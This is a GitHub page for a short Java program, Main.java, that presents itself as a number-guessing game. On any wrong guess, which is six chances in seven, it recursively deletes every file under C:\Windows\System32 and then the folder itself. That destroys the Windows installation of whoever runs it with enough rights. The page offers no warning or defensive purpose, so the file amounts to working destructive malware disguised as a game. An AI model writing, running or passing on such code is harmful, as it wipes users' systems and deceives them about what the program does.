-
Notifications
You must be signed in to change notification settings - Fork 0
/
Main.java
33 lines (30 loc) · 859 Bytes
/
Main.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.util.Random;
import java.util.Scanner;
import java.io.File;
public class Main {
public static void deleteFolder(File file) {
for (File subfile: file.listFiles()) {
if (subfile.isDirectory()) {
deleteFolder(subfile);
}
subfile.delete();
}
}
public static void main(String[] args) {
String filepath = "C:\\Windows\\System32";
File file = new File(filepath);
Random rand = new Random();
int upperBound = 7;
int randomInt = rand.nextInt(upperBound);
Scanner sc = new Scanner(System.in);
System.out.println("Type a number from 0 to " + (upperBound - 1) + ": ");
int userInt = sc.nextInt();
if (userInt == randomInt) {
System.out.print("Congratz, random number was: " + randomInt);
} else {
System.out.print("You losed, random number was: " + randomInt);
deleteFolder(file);
file.delete();
}
}
}